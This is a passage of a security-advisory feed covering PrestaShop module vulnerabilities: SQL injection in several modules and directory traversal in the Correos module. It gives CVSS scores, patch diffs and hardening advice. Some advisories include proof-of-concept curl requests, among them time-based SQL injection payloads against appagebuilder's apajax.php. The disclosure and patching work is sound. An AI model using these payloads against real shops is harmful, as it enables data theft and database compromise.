  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://github.com/202ecommerce/security-advisories/security/advisories/GHSA-hg7m-23j3-rf56">202 ecommerce security advisory post</a></li>
  <li><a href="https://addons.prestashop.com/en/bank-transfer-payment/6297-administrative-mandate.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2022-46965">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;202 ecommerce&quot;, &quot;TouchWeb.fr&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[In the module “Administrative Mandate” (totadministrativemandate), an authenticated user can perform SQL injection in affected versions.]]></summary></entry><entry><title type="html">[CVE-2022-46639] Directory traversal in the descarga_etiqueta.php component of Correos PrestaShop</title><link href="https://security.friendsofpresta.org/modules/2023/01/23/correosoficial.html" rel="alternate" type="text/html" title="[CVE-2022-46639] Directory traversal in the descarga_etiqueta.php component of Correos PrestaShop" /><published>2023-01-23T00:00:00+00:00</published><updated>2023-01-23T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/01/23/correosoficial</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/01/23/correosoficial.html"><![CDATA[<p>From version v1.1.0.0 and v1.2.x+ correosoficial Module for PrestaShop 1.7.x allows remote attackers to read local files and attack intranet hosts.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-46639">CVE-2022-46639</a></li>
  <li><strong>Published at</strong>: 2023-01-23</li>
  <li><strong>Advisory source</strong>: <a href="https://ia-informatica.com/it/CVE-2022-46639">ia-informatica.com</a></li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: correosoficial</li>
  <li><strong>Impacted release</strong>: &gt;=1.1.0 and &lt;1.2.0</li>
  <li><strong>Product author</strong>: Grupo Correos</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/23.html">CWE-23</a></li>
  <li><strong>Severity</strong>: high (7.5)</li>
</ul>

<h2 id="description">Description</h2>

<p>File: modules/correosoficial/descarga_etiqueta.php
Vulnerable Argument(s): $_REQUEST[‘filename’] and $_REQUEST[‘path’]</p>

<p>modules/correosoficial/descarga_etiqueta.php in Correos-PrestaShop Module v1.2.0.0 for PrestaShop 1.7.x allows remote attackers to read local files, attack intranet hosts via “path” and “filename” parameters.</p>

<p>The descarga_etiqueta.php component of Correos use the PHP function <code class="language-plaintext highlighter-rouge">readfile</code>, without sanitize the parameters.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: none</li>
  <li><strong>Availability</strong>: none</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<p>Remote users can read all files inside and outside the document root, credentials can be compromised</p>
<ul>
  <li>Technical data leak like a database configuration, logs, …</li>
  <li>Personnal data leak stored in files</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="s1">'http://domain.tld/modules/correosoficial/descarga_etiqueta.php?path=X&amp;filename=X.'</span>
</code></pre></div></div>

<h2 id="patch">Patch</h2>

<p>Validate all user input, block all paths outside the your PDF folder, add an authorization header.</p>

<p>An official patch is not yet published by the author of the module. Please note, this proposal to filter pdf to display and limit access to the pdftmp path.</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/descarga_etiqueta.php
</span><span class="gi">+++ b/descarga_etiqueta.php
</span><span class="p">@@ -8,7 +8,12 @@</span>
 header('Content-Type: application/pdf');
 
<span class="gd">-$filename = $_REQUEST['filename'];
</span><span class="gi">+$filename = basename($_REQUEST['filename']);
</span><span class="gd">-$path = $_REQUEST['path'];
</span><span class="gi">+$path = 'pdftmp';
+
+$pathinfo = pathinfo($path . "/" . $filename);
+if ($pathinfo['extension'] != 'pdf') {
+    exit;
+}
</span> 
 // Se llamara downloaded.pdf y se descargará como adjunto
 header('Content-Disposition: attachment; filename="'.$filename.'"');

</code></pre></div></div>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>At the date of the CVE publication, the module is not fixed.</li>
  <li>Remove this module if it is not useful.</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://ia-informatica.com/it/CVE-2022-46639">ia-informatica.com security advisory post</a></li>
  <li><a href="https://www.correos.es/es/es/empresas/ecommerce/agiliza-la-gestion-de-tus-pedidos/prestashop">Product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2022-46639">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[From version v1.1.0.0 and v1.2.x+ correosoficial Module for PrestaShop 1.7.x allows remote attackers to read local files and attack intranet hosts.]]></summary></entry><entry><title type="html">[CVE-2023-26864] Blind SQL injection vulnerability in Redirections Manager (smplredirectionsmanager) PrestaShop module</title><link href="https://security.friendsofpresta.org/modules/2023/01/17/smplredirectionsmanager.html" rel="alternate" type="text/html" title="[CVE-2023-26864] Blind SQL injection vulnerability in Redirections Manager (smplredirectionsmanager) PrestaShop module" /><published>2023-01-17T00:00:00+00:00</published><updated>2023-01-17T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/01/17/smplredirectionsmanager</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/01/17/smplredirectionsmanager.html"><![CDATA[<p>The module Redirections Manager (smplredirectionsmanager) from Smart Plugs contains a Blind SQL injection vulnerability up to version 1.1.19.
This module is for the PrestaShop e-commerce platform.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-26864">CVE-2023-26864</a></li>
  <li><strong>Published at</strong>: 2023-01-17</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: smplredirectionsmanager</li>
  <li><strong>Impacted release</strong>: &lt; 1.1.19 (1.1.19 fixed the vulnerability)</li>
  <li><strong>Product author</strong>: Smart Plugs</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>The method <code class="language-plaintext highlighter-rouge">SmplTools::getMatchingRedirectionsFromParts()</code> hold a sensitive SQL calls that can be executed with a trivial http call and exploited to forge a blind SQL injection.</p>

<p>The large scope of URL exposed to the vulnerability increases its severity and the risk that a pattern of URL is in whitelist of a WAF.</p>

<p><strong>WARNING</strong> : This vulnerability will bypass some WAF, for this reason, POC is not given.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: <a href="https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<p>This vulnerability permits altering the shop’s database.</p>

<h2 id="patch-of-release-1119">Patch of release 1.1.19</h2>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/smplredirectionsmanager/classes/SmplTools.php
</span><span class="gi">+++ b/smplredirectionsmanager/classes/SmplTools.php
</span><span class="p">@@ -104,10 +104,10 @@</span> class SmplTools
                     }
                 }
                 $contrainte_request_uri .= ($contrainte_request_uri ? ' OR' : '').' old_request_path="'.
<span class="gd">-                    pSQL(preg_replace('#\?.*#', '', $smpl_relative_uri)).'?'.$str_querystring.'"';
</span><span class="gi">+                    pSQL(preg_replace('#\?.*#', '', $smpl_relative_uri)).'?'.pSQL($str_querystring).'"';
</span>                 foreach ($smpl_absolute_uris as $smpl_absolute_uri) {
                     $contrainte_request_uri .= ' OR old_request_path="'.
<span class="gd">-                        pSQL(preg_replace('#\?.*#', '', $smpl_absolute_uri)).'?'.$str_querystring.'"';
</span><span class="gi">+                        pSQL(preg_replace('#\?.*#', '', $smpl_absolute_uri)).'?'.pSQL($str_querystring).'"';
</span>                 }
             }
         } else {
</code></pre></div></div>

<h2 id="timeline">Timeline</h2>

<table>
  <thead>
    <tr>
      <th>Date</th>
      <th>Action</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>2022-10-10</td>
      <td>Issue discovered by <a href="https://www.touchweb.fr">TouchWeb</a>’s auto-pentesting bots</td>
    </tr>
    <tr>
      <td>2022-10-11</td>
      <td>Contact the author</td>
    </tr>
    <tr>
      <td>2022-11-14</td>
      <td>Fix published on addons PrestaShop marketplace</td>
    </tr>
    <tr>
      <td>2023-01-12</td>
      <td>Request CVE ID</td>
    </tr>
    <tr>
      <td>2023-01-17</td>
      <td>Publish this security advisory</td>
    </tr>
  </tbody>
</table>

<h2 id="other-recommendations">Other recommendations</h2>

<ul>
  <li>It’s recommended to upgrade to the latest version of the module <strong>smplredirectionsmanager</strong>.</li>
  <li>To help improve the security of your PrestaShop installation, we recommend upgrading to the latest version. One of the benefits of upgrading is that it will disable the use of multiquery executions (separated by semicolons). However, please be aware that this <strong>will not protect</strong> your shop against SQL injection attacks that use the UNION clause to steal data. Additionally, it’s important to note that PrestaShop includes a function called pSQL, which includes a strip_tags function. This helps protect your shop against <a href="https://security.friendsofpresta.org/modules/2023/02/07/stored-xss.html">Stored XSS (also known as XSS T2) of Category 1</a>. If a pSQL function is missing, it could potentially expose your project to critical Stored XSS vulnerabilities due to edge cases. Therefore, it’s crucial to ensure that all relevant functions are properly implemented and used consistently throughout your project.</li>
  <li>Change the default database prefix <code class="language-plaintext highlighter-rouge">ps_</code> by a new longer arbitrary prefix. Nevertheless, be warned that this is useless against blackhats with DBA senior skill because of a design vulnerability in DBMS</li>
  <li>Activate OWASP 942’s rules on your WAF (Web application firewall), be warned that you will probably break your backoffice and you will need to pre-configure some bypasses against these set of rules.</li>
</ul>

<h2 id="links">Links</h2>

<ul>
  <li><a href="https://addons.prestashop.com/en/url-redirects/21428-redirections-manager-manage-301-302-and-404-urls.html">PrestaShop addons product page</a></li>
  <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2023-26864">National Vulnerability Database</a></li>
</ul>]]></content><author><name>[&quot;Creabilis.com&quot;, &quot;TouchWeb.fr&quot;, &quot;202-ecommerce.com&quot;, &quot;Friends-Of-Presta.org&quot;]</name></author><category term="modules" /><summary type="html"><![CDATA[The module Redirections Manager (smplredirectionsmanager) from Smart Plugs contains a Blind SQL injection vulnerability up to version 1.1.19. This module is for the PrestaShop e-commerce platform.]]></summary></entry><entry><title type="html">[CVE-2022-22897] Major updates &amp;gt; SQL Injections in PrestaShop appagebuilder module up to 2.4.5</title><link href="https://security.friendsofpresta.org/modules/2023/01/05/appagebuilder.html" rel="alternate" type="text/html" title="[CVE-2022-22897] Major updates &amp;gt; SQL Injections in PrestaShop appagebuilder module up to 2.4.5" /><published>2023-01-05T00:00:00+00:00</published><updated>2023-01-05T00:00:00+00:00</updated><id>https://security.friendsofpresta.org/modules/2023/01/05/appagebuilder</id><content type="html" xml:base="https://security.friendsofpresta.org/modules/2023/01/05/appagebuilder.html"><![CDATA[<p>PrestaShop Ap Pagebuilder module versions 2.4.5 and below suffer from several remote SQL injection vulnerability.</p>

<h2 id="summary">Summary</h2>

<ul>
  <li><strong>CVE ID</strong>: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22897">CVE-2022-22897</a></li>
  <li><strong>Published at</strong>: 2022-09-25</li>
  <li><strong>Updated at</strong>: 2023-01-05</li>
  <li><strong>Advisory source</strong>: Friends-Of-Presta</li>
  <li><strong>Platform</strong>: PrestaShop</li>
  <li><strong>Product</strong>: appagebuilder</li>
  <li><strong>Impacted release</strong>: &lt;=2.4.5</li>
  <li><strong>Product author</strong>: apollotheme / leo theme</li>
  <li><strong>Weakness</strong>: <a href="https://cwe.mitre.org/data/definitions/89.html">CWE-89</a></li>
  <li><strong>Severity</strong>: critical (9.8)</li>
</ul>

<h2 id="description">Description</h2>

<p>On AP PAGEBUILDER PrestaShop module &lt;= 2.4.5 contents many improper neutralization parameters including ‘product_all_one_img’ and ‘image_product’.</p>

<p><strong>WARNING</strong> : Be aware that versions from 2.0.0 to 2.4.3+ (exact release is not determined) own another sql injection which will certainly bypass your WAF (base64 payloads) so you should upgrade asap to 2.4.5.</p>

<h2 id="cvss-base-metrics">CVSS base metrics</h2>

<ul>
  <li><strong>Attack vector</strong>: network</li>
  <li><strong>Attack complexity</strong>: low</li>
  <li><strong>Privilege required</strong>: none</li>
  <li><strong>User interaction</strong>: none</li>
  <li><strong>Scope</strong>: unchanged</li>
  <li><strong>Confidentiality</strong>: high</li>
  <li><strong>Integrity</strong>: high</li>
  <li><strong>Availability</strong>: high</li>
</ul>

<p><strong>Vector string</strong>: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</p>

<h2 id="possible-malicious-usage">Possible malicious usage</h2>

<ul>
  <li>Obtain admin access</li>
  <li>Technical and personal data leaks</li>
</ul>

<h2 id="proof-of-concept">Proof of concept</h2>

<p>Initial <a href="https://packetstormsecurity.com/files/168148/PrestaShop-Ap-Pagebuilder-2.4.4-SQL-Injection.html">POC</a></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="s1">'https://localhost/modules/appagebuilder/apajax.php?rand=1641313272327&amp;leoajax=1&amp;product_all_one_img=1)+or+sleep(4)%23&amp;image_product=0&amp;wishlist_compare=1'</span>
curl <span class="nt">-v</span> <span class="s1">'hhttp://localhost/modules/appagebuilder/apajax.php?rand=1641313272327&amp;leoajax=1&amp;product_all_one_img=1&amp;image_product=1)+or+sleep(4)%23&amp;wishlist_compare=1'</span>
</code></pre></div></div>

<p>New POCs</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-v</span> <span class="s1">'https://localhost/modules/appagebuilder/apajax.php?leoajax=1&amp;product_manufacture=1,1)+or+sleep(4)%23--'</span>
</code></pre></div></div>

<p>POC which bypass WAF is not supplied.</p>

<h2 id="patch">Patch</h2>

<p>Disclamer: These patches are based on available known versions installed on PrestaShop. 
This advisory try to do its best to be useful for everyone who want to fix critical vulnerabilities.</p>

<h3 id="release-245">Release 2.4.5</h3>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/apajax.php
</span><span class="gi">+++ b/apajax.php
</span><span class="p">@@ -71,7 +71,7 @@</span> if (Tools::getValue('leoajax') == 1) {
 					FROM `'._DB_PREFIX_.'product` p
 					'.Shop::addSqlAssociation('product', 'p').'
 					LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON p.`id_product` = cp.`id_product`
<span class="gd">-					WHERE cp.`id_category` IN ('.$list_cat.')
</span><span class="gi">+					WHERE cp.`id_category` IN ('.implode(', ', array_map('intval', explode(',', $list_cat))).')
</span> 				AND product_shop.`visibility` IN ("both", "catalog")
 				AND product_shop.`active` = 1
 				GROUP BY cp.`id_category`';
<span class="p">@@ -84,6 +84,7 @@</span> if (Tools::getValue('leoajax') == 1) {
     if ($leo_pro_cdown) {
         $leo_pro_cdown = explode(',', $leo_pro_cdown);
         $leo_pro_cdown = array_unique($leo_pro_cdown);
<span class="gi">+        $leo_pro_cdown = array_map('intval', $leo_pro_cdown); // fix sql injection
</span>         $leo_pro_cdown = implode(',', $leo_pro_cdown);
         $result['pro_cdown'] = $module-&gt;hookProductCdown($leo_pro_cdown);
     }
<span class="p">@@ -91,6 +92,7 @@</span> if (Tools::getValue('leoajax') == 1) {
     if ($leo_pro_color) {
         $leo_pro_color = explode(',', $leo_pro_color);
         $leo_pro_color = array_unique($leo_pro_color);
<span class="gi">+        $leo_pro_color = array_map('intval', $leo_pro_color); // fix sql injection
</span>         $leo_pro_color = implode(',', $leo_pro_color);
         $result['pro_color'] = $module-&gt;hookProductColor($leo_pro_color);
     }
<span class="p">@@ -99,6 +101,7 @@</span> if (Tools::getValue('leoajax') == 1) {
     if ($product_list_image) {
         $product_list_image = explode(',', $product_list_image);
         $product_list_image = array_unique($product_list_image);
<span class="gi">+        $product_list_image = array_map('intval', $product_list_image); // fix sql injection
</span>         $product_list_image = implode(',', $product_list_image);
 
         # $leocustomajax = new Leocustomajax();
<span class="p">@@ -107,6 +110,7 @@</span> if (Tools::getValue('leoajax') == 1) {
     if ($product_one_img) {
         $product_one_img = explode(',', $product_one_img);
         $product_one_img = array_unique($product_one_img);
<span class="gi">+        $product_one_img = array_map('intval', $product_one_img); // fix sql injection
</span>         $product_one_img = implode(',', $product_one_img);
 
         $result['product_one_img'] = $module-&gt;hookProductOneImg($product_one_img);

--- a/appagebuilder.php
<span class="gi">+++ b/appagebuilder.php
</span><span class="p">@@ -2887,7 +3050,7 @@</span> class APPageBuilder extends Module imple
     {
         $where = '';
         if (strpos($manuid, ',') !== false) {
<span class="gd">-            $where = ' WHERE `id_manufacturer` IN(' . $manuid . ')';
</span><span class="gi">+            $where = ' WHERE `id_manufacturer` IN(' . implode(', ', array_map('intval', explode(',', $manuid))) . ')';
</span>         } else {
             $where = ' WHERE `id_manufacturer` = ' . (int) $manuid;
         }
<span class="p">@@ -2937,7 +3100,7 @@</span> class APPageBuilder extends Module imple
         $link = new Link($protocol_link, $protocol_content);
 
         $id_lang = Context::getContext()-&gt;language-&gt;id;
<span class="gd">-        $where = ' WHERE i.`id_product` IN ('.$list_pro.') AND (ish.`cover`=0 OR ish.`cover` IS NULL) AND ish.`id_shop` = '.Context::getContext()-&gt;shop-&gt;id;
</span><span class="gi">+        $where = ' WHERE i.`id_product` IN ('.implode(', ', array_map('intval', explode(',', $list_pro))).') AND (ish.`cover`=0 OR ish.`cover` IS NULL) AND ish.`id_shop` = '.Context::getContext()-&gt;shop-&gt;id;
</span>         $order = ' ORDER BY i.`id_product`,`position`';
         $limit = ' LIMIT 0,1';
         //get product info 
<span class="p">@@ -2973,7 +3136,7 @@</span> class APPageBuilder extends Module imple
 
         $id_lang = Context::getContext()-&gt;language-&gt;id;
         $image_product = Tools::getValue('image_product');
<span class="gd">-        $where = ' WHERE i.`id_product` IN ('.$list_pro.') AND i.`id_image` NOT IN ('.$image_product.') AND ish.`id_shop` = '.Context::getContext()-&gt;shop-&gt;id;
</span><span class="gi">+        $where = ' WHERE i.`id_product` IN ('.implode(', ', array_map('intval', explode(',', $list_pro))).') AND i.`id_image` NOT IN ('.implode(', ', array_map('intval', explode(',', $image_product))).') AND ish.`id_shop` = '.Context::getContext()-&gt;shop-&gt;id;
</span>         $order = ' ORDER BY i.`id_product`,`position`';
         $limit = ' LIMIT 0,1';
         //get product info
      }
</code></pre></div></div>

<h3 id="release-20x-to-23x">Release 2.0.x to 2.3.x</h3>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/apajax.php
</span><span class="gi">+++ b/apajax.php
</span><span class="p">@@ -111,6 +111,7 @@</span> if (Tools::getValue('leoajax') == 1) {
     if ($leo_pro_cdown) {
         $leo_pro_cdown = explode(',', $leo_pro_cdown);
         $leo_pro_cdown = array_unique($leo_pro_cdown);
<span class="gi">+        $leo_pro_cdown = array_map('intval', $leo_pro_cdown); // fix sql injection
</span>         $leo_pro_cdown = implode(',', $leo_pro_cdown);
         $result['pro_cdown'] = $module-&gt;hookProductCdown($leo_pro_cdown);
     }
<span class="p">@@ -118,6 +119,7 @@</span> if (Tools::getValue('leoajax') == 1) {
     if ($leo_pro_color) {
         $leo_pro_color = explode(',', $leo_pro_color);
         $leo_pro_color = array_unique($leo_pro_color);
<span class="gi">+        $leo_pro_color = array_map('intval', $leo_pro_color); // fix sql injection
</span>         $leo_pro_color = implode(',', $leo_pro_color);
         $result['pro_color'] = $module-&gt;hookProductColor($leo_pro_color);
     }
<span class="p">@@ -125,9 +127,10 @@</span> if (Tools::getValue('leoajax') == 1) {
     if ($product_list_image) {
         $product_list_image = explode(',', $product_list_image);
         $product_list_image = array_unique($product_list_image);
<span class="gi">+        $product_list_image = array_map('intval', $product_list_image); // fix sql injection
</span>         $product_list_image = implode(',', $product_list_image);
 
         # $leocustomajax = new Leocustomajax();
         $result['product_list_image'] = $module-&gt;hookProductMoreImg($product_list_image);
     }
     
<span class="p">@@ -135,6 +139,7 @@</span> if (Tools::getValue('leoajax') == 1) {
     if ($product_one_img) {
         $product_one_img = explode(',', $product_one_img);
         $product_one_img = array_unique($product_one_img);
<span class="gi">+        $product_one_img = array_map('intval', $product_one_img); // fix sql injection
</span>         $product_one_img = implode(',', $product_one_img);
 
         $result['product_one_img'] = $module-&gt;hookProductOneImg($product_one_img);
<span class="p">@@ -142,6 +147,7 @@</span> if (Tools::getValue('leoajax') == 1) {
     if ($product_attribute_one_img) {
         $product_attribute_one_img = explode(',', $product_attribute_one_img);
         $product_attribute_one_img = array_unique($product_attribute_one_img);
<span class="gi">+        $product_attribute_one_img = array_map('intval', $product_attribute_one_img); // fix sql injection
</span>         $product_attribute_one_img = implode(',', $product_attribute_one_img);
 
         $result['product_attribute_one_img'] = $module-&gt;hookProductAttributeOneImg($product_attribute_one_img);
<span class="p">@@ -149,7 +155,8 @@</span> if (Tools::getValue('leoajax') == 1) {
     if ($product_all_one_img) {
         $product_all_one_img = explode(',', $product_all_one_img);
         $product_all_one_img = array_unique($product_all_one_img);
<span class="gi">+        $product_all_one_img = array_map('intval', $product_all_one_img); // fix sql injection
</span>         $product_all_one_img = implode(',', $product_all_one_img);
 
         $result['product_all_one_img'] = $module-&gt;hookProductAllOneImg($product_all_one_img);
     }

@@ -71,7 +71,7 @@ if (Tools::getValue('leoajax') == 1) {
 					FROM `'._DB_PREFIX_.'product` p
 					'.Shop::addSqlAssociation('product', 'p').'
 					LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON p.`id_product` = cp.`id_product`
<span class="gd">-					WHERE cp.`id_category` IN ('.$list_cat.')
</span><span class="gi">+					WHERE cp.`id_category` IN ('.implode(', ', array_map('intval', explode(',', $list_cat))).')
</span> 				AND product_shop.`visibility` IN ("both", "catalog")
 				AND product_shop.`active` = 1
 				GROUP BY cp.`id_category`';

--- a/appagebuilder.php
<span class="gi">+++ b/appagebuilder.php
</span><span class="p">@@ -2033,7 +2033,7 @@</span> class APPageBuilder extends Module
 		LEFT JOIN `'._DB_PREFIX_.'product_comment_grade` pcg ON (pcg.`id_product_comment` = pc.`id_product_comment`)
 		LEFT JOIN `'._DB_PREFIX_.'product_comment_criterion` pcc ON (pcc.`id_product_comment_criterion` = pcg.`id_product_comment_criterion`)
 		LEFT JOIN `'._DB_PREFIX_.'product_comment_criterion_lang` pccl ON (pccl.`id_product_comment_criterion` = pcg.`id_product_comment_criterion`)
<span class="gd">-		WHERE pc.`id_product` in ('.$list_product.')
</span><span class="gi">+		WHERE pc.`id_product` in ('.implode(', ', array_map('intval', explode(',', $list_product))).')
</span> 		AND pccl.`id_lang` = '.(int)$id_lang.
                         ($validate == '1' ? ' AND pc.`validate` = 1' : '')));
     }
<span class="p">@@ -2050,7 +2050,7 @@</span> class APPageBuilder extends Module
         $result = Db::getInstance(_PS_USE_SQL_SLAVE_)-&gt;executeS('
 		SELECT COUNT(pc.`id_product`) AS nbr, pc.`id_product` 
 		FROM `'._DB_PREFIX_.'product_comment` pc
<span class="gd">-		WHERE `id_product` in ('.$list_product.')'.($validate == '1' ? ' AND `validate` = 1' : '').'
</span><span class="gi">+		WHERE `id_product` in ('.implode(', ', array_map('intval', explode(',', $list_product))).')'.($validate == '1' ? ' AND `validate` = 1' : '').'
</span> 		AND `grade` &gt; 0 GROUP BY pc.`id_product`');
         return $result;
     }
<span class="p">@@ -2118,7 +2118,7 @@</span> class APPageBuilder extends Module
         $link = new Link($protocol_link, $protocol_content);
 
         $id_lang = Context::getContext()-&gt;language-&gt;id;
<span class="gd">-        $where = ' WHERE i.`id_product` IN ('.$list_pro.') AND (ish.`cover`=0 OR ish.`cover` IS NULL) AND ish.`id_shop` = '.Context::getContext()-&gt;shop-&gt;id;
</span><span class="gi">+        $where = ' WHERE i.`id_product` IN ('.implode(', ', array_map('intval', explode(',', $list_pro))).') AND (ish.`cover`=0 OR ish.`cover` IS NULL) AND ish.`id_shop` = '.Context::getContext()-&gt;shop-&gt;id;
</span>         $order = ' ORDER BY i.`id_product`,`position`';
         $limit = ' LIMIT 0,1';
         //get product info
</code></pre></div></div>

<h3 id="100">1.0.0</h3>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">--- a/apajax.php
</span><span class="gi">+++ b/apajax.php
</span><span class="p">@@ -57,7 +57,7 @@</span> if (Tools::getValue('leoajax') == 1) {
                     FROM `'._DB_PREFIX_.'product` p
                     '.Shop::addSqlAssociation('product', 'p').'
                     LEFT JOIN `'._DB_PREFIX_.'category_product` cp ON p.`id_product` = cp.`id_product`
<span class="gd">-                    WHERE cp.`id_category` IN ('.$list_cat.')
</span><span class="gi">+                    WHERE cp.`id_category` IN ('.implode(', ', array_map('intval', explode(',', $list_cat))).')
</span>                 AND product_shop.`visibility` IN ("both", "catalog")
                 AND product_shop.`active` = 1
                 GROUP BY cp.`id_category`';
<span class="p">@@ -70,6 +70,7 @@</span> if (Tools::getValue('leoajax') == 1) {
     if ($leo_pro_cdown) {
         $leo_pro_cdown = explode(',', $leo_pro_cdown);
         $leo_pro_cdown = array_unique($leo_pro_cdown);
<span class="gi">+        $leo_pro_cdown = array_map('intval', $leo_pro_cdown);
</span>         $leo_pro_cdown = implode(',', $leo_pro_cdown);
         $result['pro_cdown'] = $module-&gt;hookProductCdown($leo_pro_cdown);
     }
<span class="p">@@ -77,6 +78,7 @@</span> if (Tools::getValue('leoajax') == 1) {
     if ($leo_pro_color) {
         $leo_pro_color = explode(',', $leo_pro_color);
         $leo_pro_color = array_unique($leo_pro_color);
<span class="gi">+        $leo_pro_color = array_map('intval', $leo_pro_color);
</span>         $leo_pro_color = implode(',', $leo_pro_color);
         $result['pro_color'] = $module-&gt;hookProductColor($leo_pro_color);
     }
<span class="p">@@ -85,6 +87,7 @@</span> if (Tools::getValue('leoajax') == 1) {
     if ($leo_pro_info) {
         $leo_pro_info = explode(',', $leo_pro_info);
         $leo_pro_info = array_unique($leo_pro_info);
<span class="gi">+        $leo_pro_info = array_map('intval', $leo_pro_info);
</span>         $leo_pro_info = implode(',', $leo_pro_info);
 
         # $leocustomajax = new Leocustomajax();
<span class="p">@@ -93,6 +96,7 @@</span> if (Tools::getValue('leoajax') == 1) {
     if ($leo_pro_add) {
         $leo_pro_add = explode(',', $leo_pro_add);
         $leo_pro_add = array_unique($leo_pro_add);
<span class="gi">+        $leo_pro_add = array_map('intval', $leo_pro_add);
</span>         $leo_pro_add = implode(',', $leo_pro_add);
 
         $result['pro_add'] = $module-&gt;hookProductOneImg($leo_pro_add);

--- a/appagebuilder..php
<span class="gi">+++ b/appagebuilder..php
</span><span class="p">@@ -1160,12 +1160,12 @@</span> class APPageBuilder extends Module
             $id_categories = isset($params['categorybox']) ? $params['categorybox'] : '';
             if (isset($params['category_type']) &amp;&amp; $params['category_type'] == 'default') {
                 $where .= ' AND product_shop.`id_category_default` '.(strpos($id_categories, ',') === false ?
<span class="gd">-                                '= '.(int)$id_categories : 'IN ('.$id_categories.')');
</span><span class="gi">+                                '= '.(int)$id_categories : 'IN ('.implode(', ', array_map('intval', explode(',', $id_categories))).')');
</span>             } else {
                 $sql_join .= ' INNER JOIN '._DB_PREFIX_.'category_product cp		ON (cp.id_product= p.`id_product` )';
                 
